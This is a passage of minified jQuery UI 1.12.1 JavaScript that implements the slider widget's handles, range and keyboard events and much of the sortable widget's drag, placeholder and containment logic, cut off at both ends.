},_refresh:function(){this._createRange(),this._createHandles(),this._setupEvents(),this._refreshValue()},_createHandles:function(){var e,i,s=this.options,n=this.element.find(".ui-slider-handle"),o="<span tabindex='0'></span>",a=[];for(i=s.values&&s.values.length||1,n.length>i&&(n.slice(i).remove(),n=n.slice(0,i)),e=n.length;i>e;e++)a.push(o);this.handles=n.add(t(a.join("")).appendTo(this.element)),this._addClass(this.handles,"ui-slider-handle","ui-state-default"),this.handle=this.handles.eq(0),this.handles.each(function(e){t(this).data("ui-slider-handle-index",e).attr("tabIndex",0)})},_createRange:function(){var e=this.options;e.range?(e.range===!0&&(e.values?e.values.length&&2!==e.values.length?e.values=[e.values[0],e.values[0]]:t.isArray(e.values)&&(e.values=e.values.slice(0)):e.values=[this._valueMin(),this._valueMin()]),this.range&&this.range.length?(this._removeClass(this.range,"ui-slider-range-min ui-slider-range-max"),this.range.css({left:"",bottom:""})):(this.range=t("<div>").appendTo(this.element),this._addClass(this.range,"ui-slider-range")),("min"===e.range||"max"===e.range)&&this._addClass(this.range,"ui-slider-range-"+e.range)):(this.range&&this.range.remove(),this.range=null)},_setupEvents:function(){this._off(this.handles),this._on(this.handles,this._handleEvents),this._hoverable(this.handles),this._focusable(this.handles)},_destroy:function(){this.handles.remove(),this.range&&this.range.remove(),this._mouseDestroy()},_mouseCapture:function(e){var i,s,n,o,a,r,h,l,c=this,u=this.options;return u.disabled?!1:(this.elementSize={width:this.element.outerWidth(),height:this.element.outerHeight()},this.elementOffset=this.element.offset(),i={x:e.pageX,y:e.pageY},s=this._normValueFromMouse(i),n=this._valueMax()-this._valueMin()+1,this.handles.each(function(e){var i=Math.abs(s-c.values(e));(n>i||n===i&&(e===c._lastChangedValue||c.values(e)===u.min))&&(n=i,o=t(this),a=e)}),r=this._start(e,a),r===!1?!1:(this._mouseSliding=!0,this._handleIndex=a,this._addClass(o,null,"ui-state-active"),o.trigger("focus"),h=o.offset(),l=!t(e.target).parents().addBack().is(".ui-slider-handle"),this._clickOffset=l?{left:0,top:0}:{left:e.pageX-h.left-o.width()/2,top:e.pageY-h.top-o.height()/2-(parseInt(o.css("borderTopWidth"),10)||0)-(parseInt(o.css("borderBottomWidth"),10)||0)+(parseInt(o.css("marginTop"),10)||0)},this.handles.hasClass("ui-state-hover")||this._slide(e,a,s),this._animateOff=!0,!0))},_mouseStart:function(){return!0},_mouseDrag:function(t){var e={x:t.pageX,y:t.pageY},i=this._normValueFromMouse(e);return this._slide(t,this._handleIndex,i),!1},_mouseStop:function(t){return this._removeClass(this.handles,null,"ui-state-active"),this._mouseSliding=!1,this._stop(t,this._handleIndex),this._change(t,this._handleIndex),this._handleIndex=null,this._clickOffset=null,this._animateOff=!1,!1},_detectOrientation:function(){this.orientation="vertical"===this.options.orientation?"vertical":"horizontal"},_normValueFromMouse:function(t){var e,i,s,n,o;return"horizontal"===this.orientation?(e=this.elementSize.width,i=t.x-this.elementOffset.left-(this._clickOffset?this._clickOffset.left:0)):(e=this.elementSize.height,i=t.y-this.elementOffset.top-(this._clickOffset?this._clickOffset.top:0)),s=i/e,s>1&&(s=1),0>s&&(s=0),"vertical"===this.orientation&&(s=1-s),n=this._valueMax()-this._valueMin(),o=this._valueMin()+s*n,this._trimAlignValue(o)},_uiHash:function(t,e,i){var s={handle:this.handles[t],handleIndex:t,value:void 0!==e?e:this.value()};return this._hasMultipleValues()&&(s.value=void 0!==e?e:this.values(t),s.values=i||this.values()),s},_hasMultipleValues:function(){return this.options.values&&this.options.values.length},_start:function(t,e){return this._trigger("start",t,this._uiHash(e))},_slide:function(t,e,i){var s,n,o=this.value(),a=this.values();this._hasMultipleValues()&&(n=this.values(e?0:1),o=this.values(e),2===this.options.values.length&&this.options.range===!0&&(i=0===e?Math.min(n,i):Math.max(n,i)),a[e]=i),i!==o&&(s=this._trigger("slide",t,this._uiHash(e,i,a)),s!==!1&&(this._hasMultipleValues()?this.values(e,i):this.value(i)))},_stop:function(t,e){this._trigger("stop",t,this._uiHash(e))},_change:function(t,e){this._keySliding||this._mouseSliding||(this._lastChangedValue=e,this._trigger("change",t,this._uiHash(e)))},value:function(t){return arguments.length?(this.options.value=this._trimAlignValue(t),this._refreshValue(),this._change(null,0),void 0):this._value()},values:function(e,i){var s,n,o;if(arguments.length>1)return this.options.values[e]=this._trimAlignValue(i),this._refreshValue(),this._change(null,e),void 0;if(!arguments.length)return this._values();if(!t.isArray(arguments[0]))return this._hasMultipleValues()?this._values(e):this.value();for(s=this.options.values,n=arguments[0],o=0;s.length>o;o+=1)s[o]=this._trimAlignValue(n[o]),this._change(null,o);this._refreshValue()},_setOption:function(e,i){var s,n=0;switch("range"===e&&this.options.range===!0&&("min"===i?(this.options.value=this._values(0),this.options.values=null):"max"===i&&(this.options.value=this._values(this.options.values.length-1),this.options.values=null)),t.isArray(this.options.values)&&(n=this.options.values.length),this._super(e,i),e){case"orientation":this._detectOrientation(),this._removeClass("ui-slider-horizontal ui-slider-vertical")._addClass("ui-slider-"+this.orientation),this._refreshValue(),this.options.range&&this._refreshRange(i),this.handles.css("horizontal"===i?"bottom":"left","");break;case"value":this._animateOff=!0,this._refreshValue(),this._change(null,0),this._animateOff=!1;break;case"values":for(this._animateOff=!0,this._refreshValue(),s=n-1;s>=0;s--)this._change(null,s);this._animateOff=!1;break;case"step":case"min":case"max":this._animateOff=!0,this._calculateNewMax(),this._refreshValue(),this._animateOff=!1;break;case"range":this._animateOff=!0,this._refresh(),this._animateOff=!1}},_setOptionDisabled:function(t){this._super(t),this._toggleClass(null,"ui-state-disabled",!!t)},_value:function(){var t=this.options.value;return t=this._trimAlignValue(t)},_values:function(t){var e,i,s;if(arguments.length)return e=this.options.values[t],e=this._trimAlignValue(e);if(this._hasMultipleValues()){for(i=this.options.values.slice(),s=0;i.length>s;s+=1)i[s]=this._trimAlignValue(i[s]);return i}return[]},_trimAlignValue:function(t){if(this._valueMin()>=t)return this._valueMin();if(t>=this._valueMax())return this._valueMax();var e=this.options.step>0?this.options.step:1,i=(t-this._valueMin())%e,s=t-i;return 2*Math.abs(i)>=e&&(s+=i>0?e:-e),parseFloat(s.toFixed(5))},_calculateNewMax:function(){var t=this.options.max,e=this._valueMin(),i=this.options.step,s=Math.round((t-e)/i)*i;t=s+e,t>this.options.max&&(t-=i),this.max=parseFloat(t.toFixed(this._precision()))},_precision:function(){var t=this._precisionOf(this.options.step);return null!==this.options.min&&(t=Math.max(t,this._precisionOf(this.options.min))),t},_precisionOf:function(t){var e=""+t,i=e.indexOf(".");return-1===i?0:e.length-i-1},_valueMin:function(){return this.options.min},_valueMax:function(){return this.max},_refreshRange:function(t){"vertical"===t&&this.range.css({width:"",left:""}),"horizontal"===t&&this.range.css({height:"",bottom:""})},_refreshValue:function(){var e,i,s,n,o,a=this.options.range,r=this.options,h=this,l=this._animateOff?!1:r.animate,c={};this._hasMultipleValues()?this.handles.each(function(s){i=100*((h.values(s)-h._valueMin())/(h._valueMax()-h._valueMin())),c["horizontal"===h.orientation?"left":"bottom"]=i+"%",t(this).stop(1,1)[l?"animate":"css"](c,r.animate),h.options.range===!0&&("horizontal"===h.orientation?(0===s&&h.range.stop(1,1)[l?"animate":"css"]({left:i+"%"},r.animate),1===s&&h.range[l?"animate":"css"]({width:i-e+"%"},{queue:!1,duration:r.animate})):(0===s&&h.range.stop(1,1)[l?"animate":"css"]({bottom:i+"%"},r.animate),1===s&&h.range[l?"animate":"css"]({height:i-e+"%"},{queue:!1,duration:r.animate}))),e=i}):(s=this.value(),n=this._valueMin(),o=this._valueMax(),i=o!==n?100*((s-n)/(o-n)):0,c["horizontal"===this.orientation?"left":"bottom"]=i+"%",this.handle.stop(1,1)[l?"animate":"css"](c,r.animate),"min"===a&&"horizontal"===this.orientation&&this.range.stop(1,1)[l?"animate":"css"]({width:i+"%"},r.animate),"max"===a&&"horizontal"===this.orientation&&this.range.stop(1,1)[l?"animate":"css"]({width:100-i+"%"},r.animate),"min"===a&&"vertical"===this.orientation&&this.range.stop(1,1)[l?"animate":"css"]({height:i+"%"},r.animate),"max"===a&&"vertical"===this.orientation&&this.range.stop(1,1)[l?"animate":"css"]({height:100-i+"%"},r.animate))},_handleEvents:{keydown:function(e){var i,s,n,o,a=t(e.target).data("ui-slider-handle-index");switch(e.keyCode){case t.ui.keyCode.HOME:case t.ui.keyCode.END:case t.ui.keyCode.PAGE_UP:case t.ui.keyCode.PAGE_DOWN:case t.ui.keyCode.UP:case t.ui.keyCode.RIGHT:case t.ui.keyCode.DOWN:case t.ui.keyCode.LEFT:if(e.preventDefault(),!this._keySliding&&(this._keySliding=!0,this._addClass(t(e.target),null,"ui-state-active"),i=this._start(e,a),i===!1))return}switch(o=this.options.step,s=n=this._hasMultipleValues()?this.values(a):this.value(),e.keyCode){case t.ui.keyCode.HOME:n=this._valueMin();break;case t.ui.keyCode.END:n=this._valueMax();break;case t.ui.keyCode.PAGE_UP:n=this._trimAlignValue(s+(this._valueMax()-this._valueMin())/this.numPages);break;case t.ui.keyCode.PAGE_DOWN:n=this._trimAlignValue(s-(this._valueMax()-this._valueMin())/this.numPages);break;case t.ui.keyCode.UP:case t.ui.keyCode.RIGHT:if(s===this._valueMax())return;n=this._trimAlignValue(s+o);break;case t.ui.keyCode.DOWN:case t.ui.keyCode.LEFT:if(s===this._valueMin())return;n=this._trimAlignValue(s-o)}this._slide(e,a,n)},keyup:function(e){var i=t(e.target).data("ui-slider-handle-index");this._keySliding&&(this._keySliding=!1,this._stop(e,i),this._change(e,i),this._removeClass(t(e.target),null,"ui-state-active"))}}}),t.widget("ui.sortable",t.ui.mouse,{version:"1.12.1",widgetEventPrefix:"sort",ready:!1,options:{appendTo:"parent",axis:!1,connectWith:!1,containment:!1,cursor:"auto",cursorAt:!1,dropOnEmpty:!0,forcePlaceholderSize:!1,forceHelperSize:!1,grid:!1,handle:!1,helper:"original",items:"> *",opacity:!1,placeholder:!1,revert:!1,scroll:!0,scrollSensitivity:20,scrollSpeed:20,scope:"default",tolerance:"intersect",zIndex:1e3,activate:null,beforeStop:null,change:null,deactivate:null,out:null,over:null,receive:null,remove:null,sort:null,start:null,stop:null,update:null},_isOverAxis:function(t,e,i){return t>=e&&e+i>t},_isFloating:function(t){return/left|right/.test(t.css("float"))||/inline|table-cell/.test(t.css("display"))},_create:function(){this.containerCache={},this._addClass("ui-sortable"),this.refresh(),this.offset=this.element.offset(),this._mouseInit(),this._setHandleClassName(),this.ready=!0},_setOption:function(t,e){this._super(t,e),"handle"===t&&this._setHandleClassName()},_setHandleClassName:function(){var e=this;this._removeClass(this.element.find(".ui-sortable-handle"),"ui-sortable-handle"),t.each(this.items,function(){e._addClass(this.instance.options.handle?this.item.find(this.instance.options.handle):this.item,"ui-sortable-handle")})},_destroy:function(){this._mouseDestroy();for(var t=this.items.length-1;t>=0;t--)this.items[t].item.removeData(this.widgetName+"-item");return this},_mouseCapture:function(e,i){var s=null,n=!1,o=this;return this.reverting?!1:this.options.disabled||"static"===this.options.type?!1:(this._refreshItems(e),t(e.target).parents().each(function(){return t.data(this,o.widgetName+"-item")===o?(s=t(this),!1):void 0}),t.data(e.target,o.widgetName+"-item")===o&&(s=t(e.target)),s?!this.options.handle||i||(t(this.options.handle,s).find("*").addBack().each(function(){this===e.target&&(n=!0)}),n)?(this.currentItem=s,this._removeCurrentsFromItems(),!0):!1:!1)},_mouseStart:function(e,i,s){var n,o,a=this.options;if(this.currentContainer=this,this.refreshPositions(),this.helper=this._createHelper(e),this._cacheHelperProportions(),this._cacheMargins(),this.scrollParent=this.helper.scrollParent(),this.offset=this.currentItem.offset(),this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left},t.extend(this.offset,{click:{left:e.pageX-this.offset.left,top:e.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()}),this.helper.css("position","absolute"),this.cssPosition=this.helper.css("position"),this.originalPosition=this._generatePosition(e),this.originalPageX=e.pageX,this.originalPageY=e.pageY,a.cursorAt&&this._adjustOffsetFromHelper(a.cursorAt),this.domPosition={prev:this.currentItem.prev()[0],parent:this.currentItem.parent()[0]},this.helper[0]!==this.currentItem[0]&&this.currentItem.hide(),this._createPlaceholder(),a.containment&&this._setContainment(),a.cursor&&"auto"!==a.cursor&&(o=this.document.find("body"),this.storedCursor=o.css("cursor"),o.css("cursor",a.cursor),this.storedStylesheet=t("<style>*{ cursor: "+a.cursor+" !important; }</style>").appendTo(o)),a.opacity&&(this.helper.css("opacity")&&(this._storedOpacity=this.helper.css("opacity")),this.helper.css("opacity",a.opacity)),a.zIndex&&(this.helper.css("zIndex")&&(this._storedZIndex=this.helper.css("zIndex")),this.helper.css("zIndex",a.zIndex)),this.scrollParent[0]!==this.document[0]&&"HTML"!==this.scrollParent[0].tagName&&(this.overflowOffset=this.scrollParent.offset()),this._trigger("start",e,this._uiHash()),this._preserveHelperProportions||this._cacheHelperProportions(),!s)for(n=this.containers.length-1;n>=0;n--)this.containers[n]._trigger("activate",e,this._uiHash(this));return t.ui.ddmanager&&(t.ui.ddmanager.current=this),t.ui.ddmanager&&!a.dropBehaviour&&t.ui.ddmanager.prepareOffsets(this,e),this.dragging=!0,this._addClass(this.helper,"ui-sortable-helper"),this._mouseDrag(e),!0},_mouseDrag:function(e){var i,s,n,o,a=this.options,r=!1;for(this.position=this._generatePosition(e),this.positionAbs=this._convertPositionTo("absolute"),this.lastPositionAbs||(this.lastPositionAbs=this.positionAbs),this.options.scroll&&(this.scrollParent[0]!==this.document[0]&&"HTML"!==this.scrollParent[0].tagName?(this.overflowOffset.top+this.scrollParent[0].offsetHeight-e.pageY<a.scrollSensitivity?this.scrollParent[0].scrollTop=r=this.scrollParent[0].scrollTop+a.scrollSpeed:e.pageY-this.overflowOffset.top<a.scrollSensitivity&&(this.scrollParent[0].scrollTop=r=this.scrollParent[0].scrollTop-a.scrollSpeed),this.overflowOffset.left+this.scrollParent[0].offsetWidth-e.pageX<a.scrollSensitivity?this.scrollParent[0].scrollLeft=r=this.scrollParent[0].scrollLeft+a.scrollSpeed:e.pageX-this.overflowOffset.left<a.scrollSensitivity&&(this.scrollParent[0].scrollLeft=r=this.scrollParent[0].scrollLeft-a.scrollSpeed)):(e.pageY-this.document.scrollTop()<a.scrollSensitivity?r=this.document.scrollTop(this.document.scrollTop()-a.scrollSpeed):this.window.height()-(e.pageY-this.document.scrollTop())<a.scrollSensitivity&&(r=this.document.scrollTop(this.document.scrollTop()+a.scrollSpeed)),e.pageX-this.document.scrollLeft()<a.scrollSensitivity?r=this.document.scrollLeft(this.document.scrollLeft()-a.scrollSpeed):this.window.width()-(e.pageX-this.document.scrollLeft())<a.scrollSensitivity&&(r=this.document.scrollLeft(this.document.scrollLeft()+a.scrollSpeed))),r!==!1&&t.ui.ddmanager&&!a.dropBehaviour&&t.ui.ddmanager.prepareOffsets(this,e)),this.positionAbs=this._convertPositionTo("absolute"),this.options.axis&&"y"===this.options.axis||(this.helper[0].style.left=this.position.left+"px"),this.options.axis&&"x"===this.options.axis||(this.helper[0].style.top=this.position.top+"px"),i=this.items.length-1;i>=0;i--)if(s=this.items[i],n=s.item[0],o=this._intersectsWithPointer(s),o&&s.instance===this.currentContainer&&n!==this.currentItem[0]&&this.placeholder[1===o?"next":"prev"]()[0]!==n&&!t.contains(this.placeholder[0],n)&&("semi-dynamic"===this.options.type?!t.contains(this.element[0],n):!0)){if(this.direction=1===o?"down":"up","pointer"!==this.options.tolerance&&!this._intersectsWithSides(s))break;this._rearrange(e,s),this._trigger("change",e,this._uiHash());break}return this._contactContainers(e),t.ui.ddmanager&&t.ui.ddmanager.drag(this,e),this._trigger("sort",e,this._uiHash()),this.lastPositionAbs=this.positionAbs,!1},_mouseStop:function(e,i){if(e){if(t.ui.ddmanager&&!this.options.dropBehaviour&&t.ui.ddmanager.drop(this,e),this.options.revert){var s=this,n=this.placeholder.offset(),o=this.options.axis,a={};o&&"x"!==o||(a.left=n.left-this.offset.parent.left-this.margins.left+(this.offsetParent[0]===this.document[0].body?0:this.offsetParent[0].scrollLeft)),o&&"y"!==o||(a.top=n.top-this.offset.parent.top-this.margins.top+(this.offsetParent[0]===this.document[0].body?0:this.offsetParent[0].scrollTop)),this.reverting=!0,t(this.helper).animate(a,parseInt(this.options.revert,10)||500,function(){s._clear(e)})}else this._clear(e,i);return!1}},cancel:function(){if(this.dragging){this._mouseUp(new t.Event("mouseup",{target:null})),"original"===this.options.helper?(this.currentItem.css(this._storedCSS),this._removeClass(this.currentItem,"ui-sortable-helper")):this.currentItem.show();for(var e=this.containers.length-1;e>=0;e--)this.containers[e]._trigger("deactivate",null,this._uiHash(this)),this.containers[e].containerCache.over&&(this.containers[e]._trigger("out",null,this._uiHash(this)),this.containers[e].containerCache.over=0)}return this.placeholder&&(this.placeholder[0].parentNode&&this.placeholder[0].parentNode.removeChild(this.placeholder[0]),"original"!==this.options.helper&&this.helper&&this.helper[0].parentNode&&this.helper.remove(),t.extend(this,{helper:null,dragging:!1,reverting:!1,_noFinalSort:null}),this.domPosition.prev?t(this.domPosition.prev).after(this.currentItem):t(this.domPosition.parent).prepend(this.currentItem)),this},serialize:function(e){var i=this._getItemsAsjQuery(e&&e.connected),s=[];return e=e||{},t(i).each(function(){var i=(t(e.item||this).attr(e.attribute||"id")||"").match(e.expression||/(.+)[\-=_](.+)/);i&&s.push((e.key||i[1]+"[]")+"="+(e.key&&e.expression?i[1]:i[2]))}),!s.length&&e.key&&s.push(e.key+"="),s.join("&")},toArray:function(e){var i=this._getItemsAsjQuery(e&&e.connected),s=[];return e=e||{},i.each(function(){s.push(t(e.item||this).attr(e.attribute||"id")||"")}),s},_intersectsWith:function(t){var e=this.positionAbs.left,i=e+this.helperProportions.width,s=this.positionAbs.top,n=s+this.helperProportions.height,o=t.left,a=o+t.width,r=t.top,h=r+t.height,l=this.offset.click.top,c=this.offset.click.left,u="x"===this.options.axis||s+l>r&&h>s+l,d="y"===this.options.axis||e+c>o&&a>e+c,p=u&&d;return"pointer"===this.options.tolerance||this.options.forcePointerForContainers||"pointer"!==this.options.tolerance&&this.helperProportions[this.floating?"width":"height"]>t[this.floating?"width":"height"]?p:e+this.helperProportions.width/2>o&&a>i-this.helperProportions.width/2&&s+this.helperProportions.height/2>r&&h>n-this.helperProportions.height/2},_intersectsWithPointer:function(t){var e,i,s="x"===this.options.axis||this._isOverAxis(this.positionAbs.top+this.offset.click.top,t.top,t.height),n="y"===this.options.axis||this._isOverAxis(this.positionAbs.left+this.offset.click.left,t.left,t.width),o=s&&n;return o?(e=this._getDragVerticalDirection(),i=this._getDragHorizontalDirection(),this.floating?"right"===i||"down"===e?2:1:e&&("down"===e?2:1)):!1},_intersectsWithSides:function(t){var e=this._isOverAxis(this.positionAbs.top+this.offset.click.top,t.top+t.height/2,t.height),i=this._isOverAxis(this.positionAbs.left+this.offset.click.left,t.left+t.width/2,t.width),s=this._getDragVerticalDirection(),n=this._getDragHorizontalDirection();return this.floating&&n?"right"===n&&i||"left"===n&&!i:s&&("down"===s&&e||"up"===s&&!e)},_getDragVerticalDirection:function(){var t=this.positionAbs.top-this.lastPositionAbs.top;return 0!==t&&(t>0?"down":"up")},_getDragHorizontalDirection:function(){var t=this.positionAbs.left-this.lastPositionAbs.left;return 0!==t&&(t>0?"right":"left")},refresh:function(t){return this._refreshItems(t),this._setHandleClassName(),this.refreshPositions(),this},_connectWith:function(){var t=this.options;return t.connectWith.constructor===String?[t.connectWith]:t.connectWith},_getItemsAsjQuery:function(e){function i(){r.push(this)}var s,n,o,a,r=[],h=[],l=this._connectWith();if(l&&e)for(s=l.length-1;s>=0;s--)for(o=t(l[s],this.document[0]),n=o.length-1;n>=0;n--)a=t.data(o[n],this.widgetFullName),a&&a!==this&&!a.options.disabled&&h.push([t.isFunction(a.options.items)?a.options.items.call(a.element):t(a.options.items,a.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),a]);for(h.push([t.isFunction(this.options.items)?this.options.items.call(this.element,null,{options:this.options,item:this.currentItem}):t(this.options.items,this.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),this]),s=h.length-1;s>=0;s--)h[s][0].each(i);return t(r)},_removeCurrentsFromItems:function(){var e=this.currentItem.find(":data("+this.widgetName+"-item)");this.items=t.grep(this.items,function(t){for(var i=0;e.length>i;i++)if(e[i]===t.item[0])return!1;return!0})},_refreshItems:function(e){this.items=[],this.containers=[this];var i,s,n,o,a,r,h,l,c=this.items,u=[[t.isFunction(this.options.items)?this.options.items.call(this.element[0],e,{item:this.currentItem}):t(this.options.items,this.element),this]],d=this._connectWith();if(d&&this.ready)for(i=d.length-1;i>=0;i--)for(n=t(d[i],this.document[0]),s=n.length-1;s>=0;s--)o=t.data(n[s],this.widgetFullName),o&&o!==this&&!o.options.disabled&&(u.push([t.isFunction(o.options.items)?o.options.items.call(o.element[0],e,{item:this.currentItem}):t(o.options.items,o.element),o]),this.containers.push(o));for(i=u.length-1;i>=0;i--)for(a=u[i][1],r=u[i][0],s=0,l=r.length;l>s;s++)h=t(r[s]),h.data(this.widgetName+"-item",a),c.push({item:h,instance:a,width:0,height:0,left:0,top:0})},refreshPositions:function(e){this.floating=this.items.length?"x"===this.options.axis||this._isFloating(this.items[0].item):!1,this.offsetParent&&this.helper&&(this.offset.parent=this._getParentOffset());var i,s,n,o;for(i=this.items.length-1;i>=0;i--)s=this.items[i],s.instance!==this.currentContainer&&this.currentContainer&&s.item[0]!==this.currentItem[0]||(n=this.options.toleranceElement?t(this.options.toleranceElement,s.item):s.item,e||(s.width=n.outerWidth(),s.height=n.outerHeight()),o=n.offset(),s.left=o.left,s.top=o.top);if(this.options.custom&&this.options.custom.refreshContainers)this.options.custom.refreshContainers.call(this);else for(i=this.containers.length-1;i>=0;i--)o=this.containers[i].element.offset(),this.containers[i].containerCache.left=o.left,this.containers[i].containerCache.top=o.top,this.containers[i].containerCache.width=this.containers[i].element.outerWidth(),this.containers[i].containerCache.height=this.containers[i].element.outerHeight();return this},_createPlaceholder:function(e){e=e||this;var i,s=e.options;s.placeholder&&s.placeholder.constructor!==String||(i=s.placeholder,s.placeholder={element:function(){var s=e.currentItem[0].nodeName.toLowerCase(),n=t("<"+s+">",e.document[0]);return e._addClass(n,"ui-sortable-placeholder",i||e.currentItem[0].className)._removeClass(n,"ui-sortable-helper"),"tbody"===s?e._createTrPlaceholder(e.currentItem.find("tr").eq(0),t("<tr>",e.document[0]).appendTo(n)):"tr"===s?e._createTrPlaceholder(e.currentItem,n):"img"===s&&n.attr("src",e.currentItem.attr("src")),i||n.css("visibility","hidden"),n},update:function(t,n){(!i||s.forcePlaceholderSize)&&(n.height()||n.height(e.currentItem.innerHeight()-parseInt(e.currentItem.css("paddingTop")||0,10)-parseInt(e.currentItem.css("paddingBottom")||0,10)),n.width()||n.width(e.currentItem.innerWidth()-parseInt(e.currentItem.css("paddingLeft")||0,10)-parseInt(e.currentItem.css("paddingRight")||0,10)))}}),e.placeholder=t(s.placeholder.element.call(e.element,e.currentItem)),e.currentItem.after(e.placeholder),s.placeholder.update(e,e.placeholder)},_createTrPlaceholder:function(e,i){var s=this;e.children().each(function(){t("<td>&#160;</td>",s.document[0]).attr("colspan",t(this).attr("colspan")||1).appendTo(i)})},_contactContainers:function(e){var i,s,n,o,a,r,h,l,c,u,d=null,p=null;for(i=this.containers.length-1;i>=0;i--)if(!t.contains(this.currentItem[0],this.containers[i].element[0]))if(this._intersectsWith(this.containers[i].containerCache)){if(d&&t.contains(this.containers[i].element[0],d.element[0]))continue;d=this.containers[i],p=i}else this.containers[i].containerCache.over&&(this.containers[i]._trigger("out",e,this._uiHash(this)),this.containers[i].containerCache.over=0);if(d)if(1===this.containers.length)this.containers[p].containerCache.over||(this.containers[p]._trigger("over",e,this._uiHash(this)),this.containers[p].containerCache.over=1);else{for(n=1e4,o=null,c=d.floating||this._isFloating(this.currentItem),a=c?"left":"top",r=c?"width":"height",u=c?"pageX":"pageY",s=this.items.length-1;s>=0;s--)t.contains(this.containers[p].element[0],this.items[s].item[0])&&this.items[s].item[0]!==this.currentItem[0]&&(h=this.items[s].item.offset()[a],l=!1,e[u]-h>this.items[s][r]/2&&(l=!0),n>Math.abs(e[u]-h)&&(n=Math.abs(e[u]-h),o=this.items[s],this.direction=l?"up":"down"));if(!o&&!this.options.dropOnEmpty)return;if(this.currentContainer===this.containers[p])return this.currentContainer.containerCache.over||(this.containers[p]._trigger("over",e,this._uiHash()),this.currentContainer.containerCache.over=1),void 0;o?this._rearrange(e,o,null,!0):this._rearrange(e,null,this.containers[p].element,!0),this._trigger("change",e,this._uiHash()),this.containers[p]._trigger("change",e,this._uiHash(this)),this.currentContainer=this.containers[p],this.options.placeholder.update(this.currentContainer,this.placeholder),this.containers[p]._trigger("over",e,this._uiHash(this)),this.containers[p].containerCache.over=1}},_createHelper:function(e){var i=this.options,s=t.isFunction(i.helper)?t(i.helper.apply(this.element[0],[e,this.currentItem])):"clone"===i.helper?this.currentItem.clone():this.currentItem;return s.parents("body").length||t("parent"!==i.appendTo?i.appendTo:this.currentItem[0].parentNode)[0].appendChild(s[0]),s[0]===this.currentItem[0]&&(this._storedCSS={width:this.currentItem[0].style.width,height:this.currentItem[0].style.height,position:this.currentItem.css("position"),top:this.currentItem.css("top"),left:this.currentItem.css("left")}),(!s[0].style.width||i.forceHelperSize)&&s.width(this.currentItem.width()),(!s[0].style.height||i.forceHelperSize)&&s.height(this.currentItem.height()),s},_adjustOffsetFromHelper:function(e){"string"==typeof e&&(e=e.split(" ")),t.isArray(e)&&(e={left:+e[0],top:+e[1]||0}),"left"in e&&(this.offset.click.left=e.left+this.margins.left),"right"in e&&(this.offset.click.left=this.helperProportions.width-e.right+this.margins.left),"top"in e&&(this.offset.click.top=e.top+this.margins.top),"bottom"in e&&(this.offset.click.top=this.helperProportions.height-e.bottom+this.margins.top)},_getParentOffset:function(){this.offsetParent=this.helper.offsetParent();var e=this.offsetParent.offset();return"absolute"===this.cssPosition&&this.scrollParent[0]!==this.document[0]&&t.contains(this.scrollParent[0],this.offsetParent[0])&&(e.left+=this.scrollParent.scrollLeft(),e.top+=this.scrollParent.scrollTop()),(this.offsetParent[0]===this.document[0].body||this.offsetParent[0].tagName&&"html"===this.offsetParent[0].tagName.toLowerCase()&&t.ui.ie)&&(e={top:0,left:0}),{top:e.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:e.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if("relative"===this.cssPosition){var t=this.currentItem.position();return{top:t.top-(parseInt(this.helper.css("top"),10)||0)+this.scrollParent.scrollTop(),left:t.left-(parseInt(this.helper.css("left"),10)||0)+this.scrollParent.scrollLeft()}}return{top:0,left:0}},_cacheMargins:function(){this.margins={left:parseInt(this.currentItem.css("marginLeft"),10)||0,top:parseInt(this.currentItem.css("marginTop"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var e,i,s,n=this.options;"parent"===n.containment&&(n.containment=this.helper[0].parentNode),("document"===n.containment||"window"===n.containment)&&(this.containment=[0-this.offset.relative.left-this.offset.parent.left,0-this.offset.relative.top-this.offset.parent.top,"document"===n.containment?this.document.width():this.window.width()-this.helperProportions.width-this.margins.left,("document"===n.containment?this.document.height()||document.body.parentNode.scrollHeight:this.window.height()||this.document[0].body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top]),/^(document|window|parent)$/.test(n.containment)||(e=t(n.containment)[0],i=t(n.containment).offset(),s="hidden"!==t(e).css("overflow"),this.containment=[i.left+(parseInt(t(e).css("borderLeftWidth"),10)||0)+(parseInt(t(e).css("paddingLeft"),10)||0)-this.margins.left,i.top+(parseInt(t(e).css("borderTopWidth"),10)||0)+(parseInt(t(e).css("paddingTop"),10)||0)-this.margins.top,i.left+(s?Math.max(e.scrollWidth,e.offsetWidth):e.offsetWidth)-(parseInt(t(e).css("borderLeftWidth"),10)||0)-(parseInt(t(e).css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left,i.top+(s?Math.max(e.scrollHeight,e.offsetHeight):e.offsetHeight)-(parseInt(t(e).css("borderTopWidth"),10)||0)-(parseInt(t(e).css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top])},_convertPositionTo:function(e,i){i||(i=this.position);var s="absolute"===e?1:-1,n="absolute"!==this.cssPosition||this.scrollParent[0]!==this.document[0]&&t.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent,o=/(html|body)/i.test(n[0].tagName);return{top:i.top+this.offset.relative.top*s+this.offset.parent.top*s-("fixed"===this.cssPosition?-this.scrollParent.scrollTop():o?0:n.scrollTop())*s,left:i.left+this.offset.relative.left*s+this.offset.parent.left*s-("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():o?0:n.scrollLeft())*s}},_generatePosition:function(e){var 